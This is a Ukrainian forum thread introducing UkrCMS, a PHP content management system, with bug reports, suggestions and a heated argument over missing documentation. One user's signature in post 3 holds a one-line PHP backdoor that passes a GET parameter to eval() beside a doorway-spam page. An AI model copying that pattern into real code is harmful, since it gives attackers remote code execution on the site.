1

Тема: Перший старт - UkrCMS

Сайт української цмс http://ukrcms.com
Побажання, пропозиції і глюки всі можете писати у цій темі. Відповім кожному.
Якщо є час та охота можна зареєструватись на форумі укрцмс http://ukrcms.com/forum/ і писати там в кожну гілку окремо ;)
+ ми також є на гітхабі https://github.com/ukrcms/ukrcms Форки баги :) Можна зразу там ;)

p.s. Ця тема для старту і навіяна постом  http://replace.org.ua/post/12035/#p12035

2

Re: Перший старт - UkrCMS

створи класс UcException і унаслідуй від Exception і кидай вже UcException, бо не комільфо кидати прості ексепшини)

pew pew :D
Блоґ

3

Re: Перший старт - UkrCMS

А чому на сайті немає списку вбивчих фіч (чи для цього треба читати джерельний код?)? Швидкість (а якісь порівняльні тести де?) і те що вона українська це добре, але все жхотілося бачити більше аргументів за.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: SINILIAN1

4

Re: Перший старт - UkrCMS

створи класс UcException і унаслідуй від Exception і кидай вже UcException, бо не комільфо кидати прості ексепшини)

Буде \Uc\Exception ;) До речі хочу зробити таку фішку як дебаг панель. Хоча б якийсь мінімальний Клас. А то те що є зараз таке собі :)

А чому на сайті немає списку вбивчих фіч (чи для цього треба читати джерельний код?)? Швидкість (а якісь порівняльні тести де?) і те що вона українська це добре, але все жхотілося бачити більше аргументів за.

Чесно немає коли :) Як дійдуть руки або хтось зможе допомогти =)
На даному етапі ставлю такі плани:
1. Ексепшин
2. Підготувати 2-3 теми
3. Написати хоча б якісь тести
4. Дальше уже можна і бенчмарки робити )

5 Востаннє редагувалося Replace (05.06.2013 22:58:07)

Re: Перший старт - UkrCMS

Одразу вибачайте за критику:

1) На сайті не вистачає сторінки завантажити (я одразу хотів це зробити)
2) Errors. We fix it right now.
3) "Для встановлення системи вам необхідно всього навсього заповнити невелику форму нижче" - я думаю ця фраза зайва.
4) Не забувайте про апострофи (ім'я, обов'язково) та коми "...у Вас виникли запитання, можете звернутись..."
5) "Шлях до панелі адміністрування" - може тут потрібен якись варіант по дефолту? (або хоча б example)
6) "Розсташування сайту" - ем?... Пусте поле і що тут вводити?
7) Інстальовано - може всетаки встановлено?
8) Я ввів щось не те в "Шлях до панелі адміністрування" або якись баг. Просто /manager.

<a href="//manager/">manager</a>

9) /manager/, manager - теж нічого не вийшло
10) Як я зрозумів лінк там не працює на панель адміністрування.
11) В адмінці не працюють стилі
12) Дивлюсь код, там все починається з div.. Дивно..
13) Не виходить додати допис із-за цієї трабли. Далі немає бажання продовжувати :)

А так взагалі дуже круто =)

Увімкнув відображення помилок. Ось така трабла:

Fatal error: Undefined class constant 'ONE_TO_MANY' in /var/www/leo/data/www/domain/ukrcms/core/Db/Model.php on line 148 Error: Undefined class constant 'ONE_TO_MANY' in /var/www/leo/data/www/domain/ukrcms/core/Db/Model.php#148 

Декілька описок:
"український вебпрості", "Перейти наза:", "<span class="red">(required)</span>" - може "обов'язково"

/new-c8/ - такі url не круто зовсім. Я би сказав це дуже погані URL.



P.S. Можна приєднатись до розробки? Проект дуже сподобався. Хочу реальний сайт зробити на цій cms :)

Подякували: funivan1

6

Re: Перший старт - UkrCMS

Дякую за відгуки ;)
1 - зараз розробляємо галерею шаблонів так що сторінка появиться якнайшвидше ;)
2 - якщо помилки приховані показується ця фраза побажання пропозиції можна на гітхабі ;) Або на форумі. Найближчим часом перепишу цю фразу)
3 - ок
4 - ок =)
5 - якщо наводите на поле мають появлятись підказки ;) Але зроблю по замовчуванню якесь значення )
6 - це фактично пофіксав майже тільки залити в репозиторій. Якщо слеш тоді сайт знаходиться в корені домену або частина шляху де знаходиться сайт (Оприділяється автоматично наприклад /test )
7 - ок
8 - гаразд випавлю)
9-11 скоріш за все через шляхи) Поправлю баг все буде ок)
12 - ??
13 - пофіксаю ;)
Контакнта теж виправлена ;) Ще перевірю все детально)

/new-c8/ - такі url не круто зовсім. Я би сказав це дуже погані URL.

Фактично нічого дуже поганого немає так як назва new може мінятись а от 8 ні)
Тобто у вас не буде 404 помилок
Додали новину через 2 дні хтось там змінив тайтл і все урл пропала а так все буде ок) (зроблю редірект і все буде класно)
Це мож буде поправити і для кожного своє зробити) 

До розробки можна приєднатись всім охочим. Саме для цього зробив форум і гітхаб


До всіх небайдужих форумчан є питання.
Розробка цмс буде завязана на декількох сторонніх інструментах. Як їх підключати, через композер і кожен веб розробник хай собі вказує шлях до автолодера чи кожну бібліотеку окремо підвантажувати. Це тільки для девелоперської гілки ;)

7

Re: Перший старт - UkrCMS

5 - у мене підказок немає
12 - мабуть з шляхами пов'язано

Фактично нічого дуже поганого немає так як назва new може мінятись а от 8 ні)

Нефайно виглядає.
Приклад 1: whiteseo.org.ua/articles/write-good-content/
Приклад 2: whiteseo.org.ua/articles-28/write-good-content-233/
1-й краще :)

8

Re: Перший старт - UkrCMS

Гаразд про урлки врахую ;) Думаю буде все ок. Але скоріш за все це чуток пізніше буде готово. Перше фікси глюків))
5 - ок щось придумаю ;)

9 Востаннє редагувалося duncan (09.06.2013 23:41:08)

Re: Перший старт - UkrCMS

пане, а чому хтось повинен встановлювати і тестувати Вашу систему, якщо Ви навіть не змогли до неї додати нормальний опис?
крім обср****** друпалу, вордпресу і жумли, я нічого не побачив
де, принаймні, скріншоти?
де опис можливостей, готових доповнень, ТОДО?

10 Востаннє редагувалося koala (09.06.2013 23:52:18)

Re: Перший старт - UkrCMS

duncan написав:

пане, а чому хтось повинен встановлювати і тестувати Вашу систему, якщо Ви навіть не змогли до неї додати нормальний опис?

Правило №1: ніхто нікому нічого не повинен. Ви автору що, заплатили гроші, що вимагаєте документації? Ні? То допомагайте або проходьте. Зрештою, проект відкритий, можете й самі документацію написати. Це ваша провина, що документації нема.

duncan написав:

крім обср****** друпалу, вордпресу і жумли, я нічого не побачив

Перепрошую, а де ви побачили бодай згадку про ці CMS? Посилання не наведете?
А от у вашому дописі нічого, крім обсирання цієї, хай і не потрібної нікому, крім авторів, системи, ніц нема.

duncan написав:

де, принаймні, скріншоти?
де опис можливостей, готових доповнень, ТОДО?

От і я вас питаю - де?

11

Re: Перший старт - UkrCMS

duncan, а ви встановіть та подивіться. CMS дійсно дуже проста. Поки там немає такого велику функціоналу, який би прям так можна описати. Мені чимось нагадує irokez cms.
Приблизно: є блог, є користувачі, є коментарі, є статичні сторінки і працює все дуже швидко.
Як вже було сказано, ця тема для старту. Якщо не помиляюсь, то лише тут є лінк і зараз ведеться активна розробка.

А своїми словами ви лише демотивуюте розробників, які і так стараються.

12

Re: Перший старт - UkrCMS

Хочу собі бложик замутити, але жодною цмс до цього ніколи не користувався, є сенс починати з укрЦМС?

x

13 Востаннє редагувалося Очі.завидющі (10.06.2013 00:18:14)

Re: Перший старт - UkrCMS

Ні, бо ти PHP не знаєш. Краще на безкоштовному wordpress.com потренуйся.

Бодай вас Бог любив, а мене – молодиці!
Подякували: Chemist-i1

14

Re: Перший старт - UkrCMS

Якщо є знання з web-програмування, то можеш спробувати, а так там багато ще дороблювати...  =)

Подякували: Chemist-i1

15

Re: Перший старт - UkrCMS

2duncan ти мабуть не виспався))

Chemist-i - виправлю декілька багів тоді можна буде спробувати. Якщо будуть проблеми якісь я на зв'язку і зможу завжди виправити і допомогти ;)

Якщо є знання з web-програмування, то можеш спробувати, а так там багато ще дороблювати...  smile

Тада є ще що кодити але головна ідея фактично закладена. Простота та швидкість. Планується різні розробляти модулі і зібрки систем та викладати на сайт) Хай качають)

Подякували: Chemist-i1

16

Re: Перший старт - UkrCMS

хм.
цікаве тут товариство.
один пан випускає продукт і на логічне питання "а чому я маю ним скористатися", відповідає: "не подобається, не їж"
інший чомусь мені тикає і каже, що ніхто нікому нічим не зобовязаний
перепрошую, але якщо хтось каже "протестуйте мій продукт", то це означає, що ця людина зацікавлена у цьому

пане Replace, Ви запросили на форум, дякую за це, але атмосфера тут якась молодечо-безкомпромісна))
критику тре сприймати не як камінь в город, а як стимул до дії)))
пс. ірокез цмс -- нічого вартісного.

жоден користувач зі здоровим ґлуздом не буде тестувати продукт, який нормально не описано.

17

Re: Перший старт - UkrCMS

Отже пане duncan
Відповім по пунктах ;)

пане, а чому хтось повинен встановлювати і тестувати Вашу систему, якщо Ви навіть не змогли до неї додати нормальний опис?

Є користувачі яким достатньо посилання на гітхаб для того що б попробувати який інструмент. Не обов'язковий має бути розписано всі деталі. Я постарався зробити більш прозорий код аніж багато сторінок документації.
Я нікого ні до чого не зобов'язую. Так я попросив але не спамив кожного з повідомленням "дивіться яке круте чудо". 
нормальний опис - у кожного своє поняття про нормальний опис ;)

крім обср****** друпалу, вордпресу і жумли, я нічого не побачив

Де взагалі ви побачили обсирання. Киньте ссилку)

де, принаймні, скріншоти?
де опис можливостей, готових доповнень, ТОДО?

Ви думаєте що коли розробляли вордпрес то взяли і зразу викинули готову версію без глюків і з кількістю тем яка зараз є та книжками how-to
Я відповім вам на запитання де:  - ще не готово!
Якщо ви такий смілий докажіть, що ви можете все сам зробити і створити хоча б те що я показав.
Спробуйте розробити функціонал описати його протестувати.
Особисто я сумніваюсь у вашому професіоналізмі. Коли людина працює над певними інструментами і каже ось гляньте - інші користувачі або дивляться або ігнорують. Це їхні бажання. І зазвичай програмісти знають що це не легка робота написати код, документацію і інші речі. До речі я todo написав у цій темі. Так це 4 рядки по 2-3 слова. Але зауважте тема називається "Перший старт" ;)




хм.
цікаве тут товариство.
один пан випускає продукт і на логічне питання "а чому я маю ним скористатися", відповідає: "не подобається, не їж"

Скажіть будь ласка яким фреймворком ви користуєтесь? В ліцензіях таких фреймворків як зенд вказано що вони не несуть відповідальності. Це те саме що "не подобається не їж"

інший чомусь мені тикає і каже, що ніхто нікому нічим не зобовязаний

Докажіть зворотнє :)

перепрошую, але якщо хтось каже "протестуйте мій продукт", то це означає, що ця людина зацікавлена у цьому

Так я зацікавлений.

пане Replace, Ви запросили на форум, дякую за це, але атмосфера тут якась молодечо-безкомпромісна))
критику тре сприймати не як камінь в город, а як стимул до дії)))

Особисто яку критику готовий я сприймати по даному проекту. Для прикладу
- Було б класно якби ще була документація.
- До речі не буде зайвим зробити список завдань.
- У вас глюк в файлі. Постарайтесь поправити найближчим часом ;)
- Хочу блог але не знаю як встановити зробіть детальну інструкцію.
Ось це критика нормальна. А написати: "де модулі, де вікі, де туду, АААА все галімо, у вас гавно код" як на мене трохи дико так як ви не усвідомлюєте об'єму роботи яку зробили автори цмс. І це трохи не ввічливо ;)


жоден користувач зі здоровим ґлуздом не буде тестувати продукт, який нормально не описано.

Говоріть за себе. Я скоріш за все не з здоровим глуздом так як не раз використовував продукт у якого тілкьи 2 приклади.

Напишете хорошу аргументовану критику я буду вам вдячний.
Допоможете проекту також буду вдячний. Якщо вам не подобається філософія - зробіть своє і докажіть що ви класний кодер ;)

p.s. Який би не був продукт потрібно завжди поважати авторі. Якщо продукт поганий і ви знаєте і хочете вдосконалити - покажіть це. Якщо вам байдуже до нього - не використовуйте його ;)

Подякували: Replace, A.N.Onim2

18

Re: Перший старт - UkrCMS

Прихований текст
http://l-userpic.livejournal.com/60870481/11099082
I belong to the Dead Generation.

19

Re: Перший старт - UkrCMS

duncan написав:

хм.
цікаве тут товариство.
один пан випускає продукт і на логічне питання "а чому я маю ним скористатися", відповідає: "не подобається, не їж"
інший чомусь мені тикає і каже, що ніхто нікому нічим не зобовязаний
перепрошую, але якщо хтось каже "протестуйте мій продукт", то це означає, що ця людина зацікавлена у цьому

пане Replace, Ви запросили на форум, дякую за це, але атмосфера тут якась молодечо-безкомпромісна))
критику тре сприймати не як камінь в город, а як стимул до дії)))
пс. ірокез цмс -- нічого вартісного.

жоден користувач зі здоровим ґлуздом не буде тестувати продукт, який нормально не описано.

тут товариство програмістів)
пан виписукає продукт, спільнота пропонує пакращення. це здається називається опенсорс :)
мені дійсно, як програмісту, хватило посилання на гітхаб, щоб оцінити продукт (і здається не тільки мені ;) ).

pew pew :D
Блоґ
Подякували: funivan, Chemist-i2

20

Re: Перший старт - UkrCMS

miroslav.chandler написав:

мені дійсно, як програмісту, хватило посилання на гітхаб, щоб оцінити продукт

якщо накидати кілька десятків посилань на гітхуб з описом "який класний скрипт", десь на 5-у набридне скачувати)))
буде шкода витрачати час на тестування продукту людей, які мій час не поважають
ок, подальша дискусія на цьому форумі мені не цікава.
панство, успіхів